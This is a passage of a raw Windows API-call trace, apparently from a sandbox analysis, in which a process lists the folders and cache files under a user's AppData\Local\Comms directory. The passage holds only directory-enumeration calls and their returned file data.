returned 1 [0195.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff07c) returned 1 [0195.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff088) returned 1 [0195.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff060) returned 1 [0195.923] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0195.923] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x12fed88 | out: lpFindFileData=0x12fed88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.923] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0195.923] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0195.924] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.924] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0195.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0195.924] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.924] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.925] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0195.925] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.925] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.925] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0195.925] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.925] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.926] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0195.926] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 0 [0195.926] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0195.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.926] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0195.926] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b238 [0195.927] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.927] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 1 [0195.927] FindNextFileW (in: hFindFile=0x139b238, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 0 [0195.927] FindClose (in: hFindFile=0x139b238 | out: hFindFile=0x139b238) returned 1 [0195.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x2c [0195.927] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.928] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.928] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data", cAlternateFileName="")) returned 1 [0195.928] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.928] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0195.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12fea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0195.928] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x12fed08 | out: lpFindFileData=0x12fed08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af78 [0195.929] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.929] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x181411a4, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0195.929] FindNextFileW (in: hFindFile=0x139af78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.929] FindClose (in: hFindFile=0x139af78 | out: hFindFile=0x139af78) returned 1 [0195.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", nBufferLength=0x105, lpBuffer=0x12fea34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data", lpFilePart=0x0) returned 0x31 [0195.929] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Unistore\\data\\*", lpFindFileData=0x12feca8 | out: lpFindFileData=0x12feca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.930] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d619041, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x30deaa8c, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0x30deaa8c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.930] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x181411a4, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 1 [0195.930] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92842523, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x92842523, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x181411a4, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AggregateCache.uca", cAlternateFileName="AGGREG~1.UCA")) returned 0 [0195.930] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.930] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0195.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x2e [0195.931] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.931] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8ea1382, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.931] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bfe5114, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6bfe5114, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.jfm", cAlternateFileName="")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x46f4d81c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x46f4d81c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xe8d49d4d, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0xd80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ea1382, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xe8ea1382, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xe8fd2599, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp.edb", cAlternateFileName="")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c293b35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c293b35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jcp", cAlternateFileName="")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe7ad659a, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.jtx", cAlternateFileName="")) returned 1 [0195.932] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: 